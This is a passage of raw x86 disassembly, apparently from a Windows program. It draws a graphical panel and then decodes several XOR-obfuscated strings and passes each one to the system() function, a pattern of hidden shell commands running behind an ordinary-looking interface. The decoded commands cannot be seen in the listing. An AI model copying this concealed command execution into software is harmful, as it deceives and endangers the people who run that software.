movss xmm0, dword [eax + 0x48]
movss dword [ebp - 0x5c8], xmm0
movss xmm0, dword [eax + 0x50]
movss dword [ebp - 0x530], xmm0
call esi
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mov eax, dword [0x5b5d98]
mov eax, dword [eax + 0x1c48]
mulss xmm0, dword [ebp - 0x530]
divss xmm0, dword [0x499510]
addss xmm0, dword [ebp - 0x5c8]
movss dword [ebp - 0x5ac], xmm0
movss xmm0, dword [eax + 0x44]
movss dword [ebp - 0x5c8], xmm0
movss xmm0, dword [eax + 0x4c]
movss dword [ebp - 0x530], xmm0
call esi
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [ebp - 0x530]
divss xmm0, dword [0x499510]
addss xmm0, dword [ebp - 0x5c8]
movss dword [edi + 0x5b6070], xmm0
movss xmm0, dword [ebp - 0x5ac]
movss dword [edi + 0x5b6074], xmm0
call esi
cdq
mov ecx, 0xb
idiv ecx
lea esi, [edx - 5]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xb
idiv ecx
sub edx, 5
movd xmm0, edx
cvtdq2ps xmm0, xmm0
movss dword [edi + 0x5b6560], xmm0
movd xmm0, esi
cvtdq2ps xmm0, xmm0
movss dword [edi + 0x5b6564], xmm0
add edi, 8
cmp edi, 0x4d8
jl 0x40a000
mov byte [0x5b604c], 1
mov eax, dword [0x5b5d98]
xor esi, esi
mov dword [ebp - 0x530], esi
mov edi, 0x5b6070
movss xmm0, dword [eax + 0xe4]
movss dword [ebp - 0x20], xmm0
movss xmm0, dword [eax + 0xe8]
movss dword [ebp - 0x1c], xmm0
lea eax, [esi + 1]
lea ecx, [edi + 4]
mov dword [ebp - 0x5c8], ecx
cmp eax, 0x9b
jge 0x40a219
lea esi, [ecx + 4]
nop word [eax + eax]
movss xmm0, dword [esi]
sub esp, 8
subss xmm0, dword [edi]
movss dword [ebp - 0x540], xmm0
movss xmm0, dword [esi + 4]
subss xmm0, dword [ecx]
movss dword [ebp - 0x5ac], xmm0
fld dword [ebp - 0x5ac]
fstp dword [esp + 4]
fld dword [ebp - 0x540]
fstp dword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
fstp dword [ebp - 0x540]
movss xmm0, dword [ebp - 0x540]
add esp, 8
divss xmm0, dword [0x4994d0]
movss xmm1, dword [0x499448]
subss xmm1, xmm0
xorps xmm0, xmm0
comiss xmm1, xmm0
jbe 0x40a1fe
mov eax, dword [0x5b5d98]
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x3f800000
mov dword [ebp - 0x7c], 0x3f800000
mov dword [ebp - 0x78], 0x3f800000
mulss xmm1, dword [eax + 0x1598]
movss dword [ebp - 0x74], xmm1
call fcn.00414010
push ecx
mov ecx, dword [ebp - 0x52c]
mov dword [esp], 0x3f800000
push eax
push esi
push edi
call fcn.0043c1f0
mov ecx, dword [ebp - 0x5c8]
add esi, 8
cmp esi, 0x5b6548
jl 0x40a150
mov esi, dword [ebp - 0x530]
movss xmm0, dword [ebp - 0x20]
sub esp, 8
subss xmm0, dword [edi]
movss dword [ebp - 0x5ac], xmm0
movss xmm0, dword [ebp - 0x1c]
subss xmm0, dword [ecx]
movss dword [ebp - 0x540], xmm0
fld dword [ebp - 0x540]
fstp dword [esp + 4]
fld dword [ebp - 0x5ac]
fstp dword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
fstp dword [ebp - 0x540]
movss xmm0, dword [ebp - 0x540]
add esp, 8
divss xmm0, dword [0x4994cc]
movss xmm1, dword [0x499448]
subss xmm1, xmm0
xorps xmm0, xmm0
comiss xmm1, xmm0
jbe 0x40a2cb
mov eax, dword [0x5b5d98]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0x3f800000
mov dword [ebp - 0x54], 0x3f800000
mov dword [ebp - 0x50], 0x3f800000
mulss xmm1, dword [eax + 0x1598]
movss dword [ebp - 0x4c], xmm1
call fcn.00414010
push ecx
mov ecx, dword [ebp - 0x52c]
mov dword [esp], 0x3f800000
push eax
push edi
lea eax, [ebp - 0x20]
push eax
call fcn.0043c1f0
inc esi
add edi, 8
mov dword [ebp - 0x530], esi
cmp edi, 0x5b6548
jl 0x40a130
mov eax, dword [0x5b5d98]
xor esi, esi
movss xmm0, dword [eax + 0x18]
movss dword [ebp - 0x540], xmm0
nop word [eax + eax]
mov ecx, dword [0x5b5d98]
lea edi, [esi + 0x5b6070]
movaps xmm1, xmm0
movaps xmm2, xmm0
mulss xmm1, dword [esi + 0x5b6560]
mulss xmm2, dword [esi + 0x5b6564]
addss xmm1, dword [edi]
addss xmm2, dword [esi + 0x5b6074]
movss dword [edi], xmm1
movss dword [esi + 0x5b6074], xmm2
mov eax, dword [ecx + 0x1c48]
movss xmm3, dword [eax + 0x44]
comiss xmm3, xmm1
movss xmm0, dword [eax + 0x4c]
movss xmm4, dword [eax + 0x48]
addss xmm0, xmm3
jbe 0x40a35e
movss dword [edi], xmm0
jmp 0x40a36f
comiss xmm1, xmm0
jbe 0x40a36f
movss dword [ebp - 0x5ac], xmm4
movss dword [edi], xmm3
mov eax, dword [ecx + 0x1c48]
movss xmm1, dword [eax + 0x48]
comiss xmm1, xmm2
movss xmm0, dword [eax + 0x50]
movss xmm3, dword [eax + 0x44]
addss xmm0, xmm1
jbe 0x40a397
movss dword [esi + 0x5b6074], xmm0
jmp 0x40a3ac
comiss xmm2, xmm0
jbe 0x40a3ac
movss dword [ebp - 0x5b0], xmm3
movss dword [esi + 0x5b6074], xmm1
movaps xmm0, xmmword [0x499690]
lea ecx, [ebp - 0x5b8]
movups xmmword [ebp - 0x5b8], xmm0
call fcn.00414010
movss xmm2, dword [0x49946c]
mov ecx, dword [ebp - 0x52c]
push 0
push eax
push edi
call fcn.0043c670
movss xmm0, dword [ebp - 0x540]
add esi, 8
cmp esi, 0x4d8
jl 0x40a300
mov eax, dword [0x5b5714]
cmp eax, 1
jne 0x40c557
movaps xmm0, xmmword [0x499670]
lea edx, [ebp - 0x5b8]
lea ecx, [eax + 2]
movups xmmword [ebp - 0x5b8], xmm0
call fcn.00414510
movaps xmm0, xmmword [0x499680]
lea edx, [ebp - 0x5b8]
mov ecx, 5
movups xmmword [ebp - 0x5b8], xmm0
call fcn.00414510
movss xmm1, dword [0x499494]
mov ecx, 6
call fcn.004145b0
lea ecx, [ebp - 0x688]
mov dword [ebp - 0x688], 0x43540000
mov dword [ebp - 0x684], 0x42540000
call fcn.004216c0
mov ecx, dword [0x5b5d98]
push 8
mov dword [ebp - 0x680], 0x43960000
mov dword [ebp - 0x67c], 0x43820000
mov eax, dword [ecx + 0x1c48]
push 1
mov byte [eax + 0xc5], 1
lea eax, [ebp - 0x680]
mov ecx, dword [ecx + 0x1c48]
push eax
push 0
push str.MainPanel
call fcn.004160d0
mov edx, eax
mov ecx, str.MainPanel
call fcn.0041ada0
lea ecx, [ebp - 0x678]
mov dword [ebp - 0x678], 0x430a0000
mov dword [ebp - 0x674], 0x41a00000
call fcn.004216c0
push 0x4536f4
call fcn.00445fd0
add esp, 0x10
mov dword [ebp - 0x670], 0x42860000
lea ecx, [ebp - 0x670]
mov dword [ebp - 0x66c], 0x42340000
call fcn.004216c0
mov ax, word [0x49876c]
xor edx, edx
movups xmm0, xmmword [str.u_FVF]
mov edi, dword [0x5b5cf8]
mov word [ebp - 0x5d0], ax
mov al, byte [0x49876e]
mov byte [ebp - 0x5ce], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x5e0], xmm0
cmp edi, 2
jl 0x40a670
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x5e0]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x5e0], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x5dc]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x5dc], xmm2
add edx, 8
cmp edx, 0x10
jl 0x40a570
mov dword [ebp - 0x52c], edx
cmp edx, 0x13
jge 0x40a6a7
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x5e0], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x13
jl 0x40a670
lea eax, [ebp - 0x5e0]
push eax
call fcn.00445e50
movss xmm0, dword [0x4994f0]
add esp, 4
call fcn.00421740
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x668], 0x41b00000
mov dword [ebp - 0x664], 0x42c60000
call fcn.004216c0
cmp byte [0x4989a3], 0
mov eax, dword [str.TK3SWQG]
mov dword [ebp - 0x52c], eax
je 0x40a7b7
xor edx, edx
mov dword [ebp - 0x530], edx
cmp edi, 2
jl 0x40a780
movaps xmm3, xmmword [0x4995e0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4996a0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4996a0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x499630]
xorps xmm3, xmm0
movd dword [ebp - 0x52c], xmm3
jmp 0x40a7b7
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x530]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 4
jl 0x40a780
lea eax, [ebp - 0x52c]
push eax
call fcn.00445fd0
add esp, 4
mov dword [ebp - 0x538], 0x41a00000
lea ecx, [ebp - 0x538]
mov dword [ebp - 0x534], 0x42fa0000
call fcn.004216c0
mov ax, word [0x4983e0]
xor edx, edx
mov word [ebp - 0x53c], ax
mov al, byte [0x4983e2]
mov byte [ebp - 0x53a], al
mov dword [ebp - 0x530], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x530]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x53c], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 3
jl 0x40a805
push 0
push 0
push 0
push 0x32
mov edx, 0x5b5d60
lea ecx, [ebp - 0x53c]
call fcn.00448580
add esp, 0x10
call fcn.004217a0
lea ecx, [ebp - 0x660]
mov dword [ebp - 0x660], 0x42cc0000
mov dword [ebp - 0x65c], 0x431f0000
call fcn.004216c0
lea ecx, [ebp - 0x698]
mov dword [ebp - 0x698], 0x41b00000
mov dword [ebp - 0x694], 0x43520000
call fcn.004216c0
movss xmm1, dword [0x499494]
mov ecx, 0xb
call fcn.004145b0
cmp byte [0x498809], 0
mov eax, dword [str.UZZ5]
mov dword [ebp - 0x5f0], eax
mov ax, word [0x498808]
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x654], 0
mov word [ebp - 0x5ec], ax
je 0x40a912
xor edx, edx
mov dword [ebp - 0x530], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x530]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x5f0], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 6
jl 0x40a8e2
push 0
lea edx, [ebp - 0x658]
lea ecx, [ebp - 0x5f0]
call fcn.00446680
add esp, 4
test al, al
je 0x40c37b
cmp byte [0x498547], 0
movups xmm0, xmmword [0x49852c]
mov eax, dword [0x498544]
mov dword [ebp - 0x2c], eax
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [0x49853c]
movq qword [ebp - 0x34], xmm0
je 0x40aac4
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x40aa90
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x44]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x44], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x40]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x40], xmm2
add edx, 8
cmp edx, 0x18
jl 0x40a9a0
mov dword [ebp - 0x52c], edx
cmp edx, 0x1c
jge 0x40aac4
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x44], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x1c
jl 0x40aa90
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea eax, [ebp - 0x44]
push eax
call esi
mov eax, dword [0x498978]
add esp, 4
cmp byte [0x49897d], 0
movups xmm0, xmmword [0x498968]
mov dword [ebp - 0x5d0], eax
mov ax, word [0x49897c]
movups xmmword [ebp - 0x5e0], xmm0
mov word [ebp - 0x5cc], ax
je 0x40ac77
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x40ac40
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x5e0]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x5e0], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x5dc]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x5dc], xmm2
add edx, 8
cmp edx, 0x10
jl 0x40ab40
mov dword [ebp - 0x52c], edx
cmp edx, 0x16
jge 0x40ac77
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x5e0], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x16
jl 0x40ac40
lea eax, [ebp - 0x5e0]
push eax
call esi
movups xmm0, xmmword [0x49861c]
mov eax, dword [0x498644]
xor edx, edx
mov dword [ebp - 0x54c], eax
add esp, 4
mov al, byte [0x498648]
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x49862c]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [0x49863c]
movq qword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x40ae00
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x574]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x574], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x570]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x570], xmm2
add edx, 8
cmp edx, 0x28
jl 0x40ad00
mov dword [ebp - 0x52c], edx
cmp edx, 0x2d
jge 0x40ae37
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x574], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x2d
jl 0x40ae00
lea eax, [ebp - 0x574]
push eax
call esi
movups xmm0, xmmword [0x4985b0]
mov eax, dword [0x4985d8]
xor edx, edx
mov dword [ebp - 0x54c], eax
add esp, 4
mov ax, word [0x4985dc]
mov word [ebp - 0x548], ax
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x4985c0]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [0x4985d0]
movq qword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x40afc0
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x574]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x574], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x570]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x570], xmm2
add edx, 8
cmp edx, 0x28
jl 0x40aec1
mov dword [ebp - 0x52c], edx
cmp edx, 0x2e
jge 0x40aff7
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x574], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x2e
jl 0x40afc0
lea eax, [ebp - 0x574]
push eax
call esi
movups xmm0, xmmword [0x4988e8]
xor edx, edx
add esp, 4
mov dword [ebp - 0x530], edx
movups xmmword [ebp - 0x588], xmm0
movups xmm0, xmmword [0x4988f8]
movups xmmword [ebp - 0x578], xmm0
movups xmm0, xmmword [0x498908]
movups xmmword [ebp - 0x568], xmm0
movups xmm0, xmmword [str.OBLd]
movups xmmword [ebp - 0x558], xmm0
cmp edi, 2
jl 0x40b170
movaps xmm0, xmmword [0x499630]
xor ecx, ecx
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov edx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x588]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x588], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x584]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x584], xmm2
add ecx, 8
cmp ecx, 0x40
jl 0x40b080
jmp 0x40b1a7
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x530]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x588], cl
inc edx
mov dword [ebp - 0x530], edx
cmp edx, 0x40
jl 0x40b170
lea eax, [ebp - 0x588]
push eax
call esi
movups xmm0, xmmword [0x4983e4]
mov ax, word [0x49841c]
xor edx, edx
mov word [ebp - 0x548], ax
add esp, 4
mov al, byte [0x49841e]
mov byte [ebp - 0x546], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x580], xmm0
movups xmm0, xmmword [0x4983f4]
movups xmmword [ebp - 0x570], xmm0
movups xmm0, xmmword [0x498404]
movups xmmword [ebp - 0x560], xmm0
movq xmm0, qword [0x498414]
movq qword [ebp - 0x550], xmm0
cmp edi, 2
jl 0x40b340
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x580]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x580], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x57c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x57c], xmm2
add edx, 8
cmp edx, 0x38
jl 0x40b240
mov dword [ebp - 0x52c], edx
cmp edx, 0x3b
jge 0x40b377
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x580], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x3b
jl 0x40b340
lea eax, [ebp - 0x580]
push eax
call esi
movups xmm0, xmmword [0x498928]
mov eax, dword [0x498960]
xor edx, edx
mov dword [ebp - 0x54c], eax
add esp, 4
mov al, byte [0x498964]
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x584], xmm0
movups xmm0, xmmword [0x498938]
